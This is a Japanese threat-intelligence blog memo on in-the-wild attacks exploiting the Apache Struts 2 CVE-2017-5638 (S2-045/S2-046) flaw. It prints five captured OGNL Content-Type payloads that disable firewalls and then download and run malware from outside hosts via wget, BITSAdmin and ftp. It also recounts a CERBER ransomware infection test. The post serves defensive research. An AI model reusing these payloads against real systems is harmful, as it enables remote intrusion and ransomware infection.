メニュー

Apache Struts 2 のマルチパーサー「jakarta」(CVE-2017-5638)(S2-045)(S2-046)の脆弱性を利用した攻撃情報メモ

2017年3月31日 - honeypot, memo, vuln
Apache Struts 2 のマルチパーサー「jakarta」(CVE-2017-5638)(S2-045)(S2-046)の脆弱性を利用した攻撃情報メモ

 
Apache Struts 2 のマルチパーサー「jakarta」の脆弱性により、リモートから任意のコードが実行可能な脆弱性(CVE-2017-5638)(S2-045)(S2-046)が公開されてから多くの被害が発生しています。
具体的な被害としては、Webサイト改ざん、WebShellの設置や情報の窃取。削除などが報告されています。
この2つの脆弱性については以下のサイトを参考にしてください。

 

・Apache Struts 2 のマルチパーサー「jakarta」の脆弱性により、リモートから任意のコードが実行可能な脆弱性(CVE-2017-5638)(S2-045)に関する調査レポート

・Apache Struts 2 のマルチパーサー「jakarta」および「jakarta-stream」の脆弱性により、リモートから任意のコードが実行可能な脆弱性(CVE-2017-5638)(S2-046)に関する調査レポート

 

ここでは、脆弱性を利用する攻撃について私が管理しているハニーポットや知人から提供いただいた情報を元に攻撃時に利用された任意のコマンドとそのコマンドによって攻撃対象上に配置されようとするファイルの情報について共有します。
以下、ハッシュ値の文字列はVirusTotalでスキャンした結果へのリンクとなっております。
また、共有する情報の攻撃に用いらた文字列は一部加工をしてあります。

攻撃情報 #01
Content-Type内に
含まれる文字列
(#cmd=’/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://aaa.linuxa.club:xxxxxx/linux;chmod 777 linux;./linux;chattr +i linux;’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
配置ファイルハッシュ値 MD5: 64226B8C91A00D1C95DDDB72060CEB04
SHA-1: D23FB69892815063535CB1FFECA2DF9B64D62B25

 

攻撃情報 #02
Content-Type内に
含まれる文字列
(#cmd=’/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://61.160.211.200:xxxxx/1.svchost;’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
配置ファイルハッシュ値 MD5: 821ACEAFA328BE634B572C53923C775C
SHA-1: F6BD3B3D44F424BB55EB36C92BED5428D3C6193B

 

攻撃情報 #03
Content-Type内に
含まれる文字列
(#cmd=’/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -c http://180.100.235.26:xxxxx/6;chmod 777 6;./6;’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
配置ファイルハッシュ値 MD5: CDC457633178E845BB4B306531A4588B
SHA-1: F4BB1CBDAB37E0107A9C9927F57B091C9A0F09BD

 

攻撃情報 #04
Content-Type内に
含まれる文字列
(#cmd=’BITSAdmin.exe /Transfer JOB http://82.165.129.119:xxxxx/UnInstall.exe %TEMP%/UnInstall.exe & %TEMP%/UnInstall.exe’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
配置ファイルハッシュ値 MD5: 14012ECCEC6FF1072BD5F0A16EB4EFD0
SHA-1: B62305163A11274F0D8401EFBE4BE4793FC23C0B

 

攻撃情報 #05
Content-Type内に
含まれる文字列
(#cmd=’cmd.exe /c echo open 82.165.129.119 xxxxx >> ik &echo user anonymous anonymous>> ik &echo binary >> ik &echo get 1.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &1.exe &exit’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}}
配置ファイルハッシュ値 MD5: 82C68596A6AFDC322B91A96E2736813B
SHA-1: 8018FCD789CE6E5B913F74124386D24D86CB15EF

 
 

上記、「攻撃情報 #01」および「攻撃情報 #02」「攻撃情報 #03」はLinux系OSで利用するための攻撃ツールでした。これらはSSHのハニーポットなどでも比較的観測されやすいものです。今回の攻撃情報の中で興味深かったものとしては「攻撃情報 #04」「攻撃情報 #05」があげられます。これは、今回のStruts2の脆弱性を利用してWindows系OSに感染するランサムウェア「CERBER」に感染させようとするものでした。
以下に、「攻撃情報 #04」にある脆弱性を利用した攻撃でダウンロード、インストールされる「CERBER」への感染を試みた結果を共有します。

【感染の検証】
感染前のデスクトップの状態

感染後のデスクトップの状態

感染後、後述する画像に記載されている文章を読み上げる英語の音声が再生されます。

また感染後にはデスクトップやフォルダにいくつかのファイルが追加されていました。
追加されていたファイルは以下の通りです。

追加された画像ファイル

追加されたテキスト

追加されたhtaファイル

【感染後の支払いサイトへのアクセス】
追加されたファイルなどに記載されていたURLへTor Browserを使ってアクセスしました。
アクセスしたトップページでは下図のように言語を選ぶ画面が表示されました。

日本語を選択した結果、以下のような支払いを促すページに遷移しました。

上記のページの他には以下のようなページが存在しました。

「よくある質問」ページ

「サポート」ページ

「1つのファイルを無料で復号化」ページ

情報共有は以上です。